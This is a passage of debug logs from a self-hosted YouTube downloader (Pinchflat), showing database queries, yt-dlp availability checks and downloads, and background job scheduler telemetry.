m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:41.108 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [90907] 19:43:41.109 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [90907] 19:43:41.109 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:41.109 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:41.110 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:41.110 [debug] Running yt-dlp command for action: get_downloadable_status 19:43:41.111 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:41.111 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:41.111 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:41.111 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CM6mOyxvwlo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/8c/c4/8cc4ca71e3706b0b95b077566652bd414a963c44141500744c90ee03c8ee13d9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:43:42.463 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CM6mOyxvwlo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/8c/c4/8cc4ca71e3706b0b95b077566652bd414a963c44141500744c90ee03c8ee13d9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] CM6mOyxvwlo: Video unavailable 19:43:42.463 [error] yt-dlp download error for media item #90907: "ERROR: [youtube] CM6mOyxvwlo: Video unavailable\n" 19:43:42.464 [error] yt-dlp download will not be retried: "ERROR: [youtube] CM6mOyxvwlo: Video unavailable\n" 19:43:42.464 [info] {"args":{"id":90907},"id":7268,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1357107,"event":"job:stop","queue_time":4106318,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:43:42.471 [info] {"args":{"id":91114},"id":7269,"meta":{},"system_time":1780443822470994882,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:43:42.471 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=191.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91114] 19:43:42.471 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:43:42.472 [debug] QUERY OK source="sources" db=0.1ms idle=192.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:42.472 [debug] QUERY OK source="media_profiles" db=0.1ms idle=192.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:42.472 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91114] 19:43:42.473 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [91114] 19:43:42.473 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:42.473 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:42.473 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:42.474 [debug] Running yt-dlp command for action: get_downloadable_status 19:43:42.474 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:42.475 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:42.475 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:42.475 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=S9J4mOuAeTg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/23/47/234791ae1fb6ba2566e42ee9a955aa959ec400914232d8e1b4a2ccb93eee0d62.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:43:43.709 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=S9J4mOuAeTg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/23/47/234791ae1fb6ba2566e42ee9a955aa959ec400914232d8e1b4a2ccb93eee0d62.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] S9J4mOuAeTg: Video unavailable 19:43:43.709 [error] yt-dlp download error for media item #91114: "ERROR: [youtube] S9J4mOuAeTg: Video unavailable\n" 19:43:43.709 [error] yt-dlp download will not be retried: "ERROR: [youtube] S9J4mOuAeTg: Video unavailable\n" 19:43:43.710 [info] {"args":{"id":91114},"id":7269,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1238777,"event":"job:stop","queue_time":5470365,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:43:55.484 [info] {"source":"oban","duration":2032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.983 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:44:16.732 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tRYboGBQZcs --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --sub-langs en --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/rory/Mongo/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/44/0e/440e05a5073160ff098a318bf234a4e94159fcc42e1c2dd9c43f5283abdb4706.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:44:16.763 [debug] Running yt-dlp command for action: download_thumbnail 19:44:16.764 [debug] QUERY OK source="settings" db=0.1ms idle=1484.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:16.764 [debug] QUERY OK source="settings" db=0.1ms idle=1105.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:16.764 [debug] QUERY OK source="settings" db=0.0ms idle=485.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:16.764 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tRYboGBQZcs --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/141299/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/8e/88/8e880f36560f214b268e084529237d6add76a7fed00e30747eff941e7dbd81d4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:44:20.811 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tRYboGBQZcs --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/141299/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/8e/88/8e880f36560f214b268e084529237d6add76a7fed00e30747eff941e7dbd81d4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:44:20.812 [debug] QUERY OK db=0.0ms idle=532.5ms begin [] 19:44:20.812 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_filepath" = ?, "media_downloaded_at" = ?, "updated_at" = ? WHERE "id" = ? ["/downloads/rory/Mongo/2026-06-02 I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!/I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft! [tRYboGBQZcs].mp4", ~U[2026-06-02 23:44:16Z], ~U[2026-06-02 23:44:20Z], 141299] 19:44:20.812 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/141299/metadata.json.gz", "/config/metadata/media_items/141299/thumbnail.jpg", 141299, ~U[2026-06-02 23:44:20Z], ~U[2026-06-02 23:44:20Z]] 19:44:20.813 [debug] QUERY OK db=0.1ms commit [] 19:44:20.813 [debug] QUERY OK source="media_items" db=0.4ms idle=533.8ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [732888158, ~U[2026-06-02 23:44:20Z], 141299] 19:44:20.813 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:44:20.814 [info] {"args":{"id":141299},"id":7264,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":105317961,"event":"job:stop","queue_time":495367,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:44:25.487 [info] {"source":"oban","duration":1764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:55.490 [info] {"source":"oban","duration":1961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:00.984 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:45:25.493 [info] {"source":"oban","duration":2224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:55.496 [info] {"source":"oban","duration":1792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.986 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:46:25.499 [info] {"source":"oban","duration":2238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:55.502 [info] {"source":"oban","duration":2022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.987 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:47:25.505 [info] {"source":"oban","duration":1770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:55.508 [info] {"source":"oban","duration":1682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.988 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:48:25.511 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:55.514 [info] {"source":"oban","duration":2095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:00.990 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:49:25.517 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:55.518 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:00.992 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:50:25.520 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:55.522 [info] {"source":"oban","duration":1706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.993 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:51:25.525 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:55.528 [info] {"source":"oban","duration":1678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:00.994 [info] {"source":"oban","duration":132,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:52:25.531 [info] {"source":"oban","duration":1774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:55.534 [info] {"source":"oban","duration":1828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.996 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:53:25.536 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:55.539 [info] {"source":"oban","duration":1713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.998 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:54:25.542 [info] {"source":"oban","duration":1731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:55.545 [info] {"source":"oban","duration":1695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:01.000 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:55:25.548 [info] {"source":"oban","duration":1613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:55.551 [info] {"source":"oban","duration":1954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.002 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:56:25.554 [info] {"source":"oban","duration":1874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:55.557 [info] {"source":"oban","duration":1699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.003 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:57:25.560 [info] {"source":"oban","duration":1984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:55.563 [info] {"source":"oban","duration":2050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.005 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:58:25.566 [info] {"source":"oban","duration":1777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:55.569 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.006 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:59:25.571 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:55.574 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.007 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:00:25.578 [info] {"source":"oban","duration":2567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":10} 20:00:55.581 [info] {"source":"oban","duration":2229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:00.009 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:01:25.584 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:55.586 [info] {"source":"oban","duration":2031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.009 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:02:25.589 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:55.592 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.011 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:03:25.594 [info] {"source":"oban","duration":2073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:55.597 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:00.013 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:04:25.599 [info] {"source":"oban","duration":1671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:55.602 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.015 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:05:25.604 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:55.607 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.016 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:06:25.610 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:55.612 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.018 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:07:25.615 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:55.618 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.020 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:08:25.621 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:55.624 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.021 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:09:25.627 [info] {"source":"oban","duration":1801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:55.630 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:00.023 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:10:25.633 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:55.636 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.024 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:11:25.638 [info] {"source":"oban","duration":1976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:55.641 [info] {"source":"oban","duration":1985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.026 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:12:25.644 [info] {"source":"oban","duration":2058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:55.647 [info] {"source":"oban","duration":1827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.028 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:13:25.649 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:55.652 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 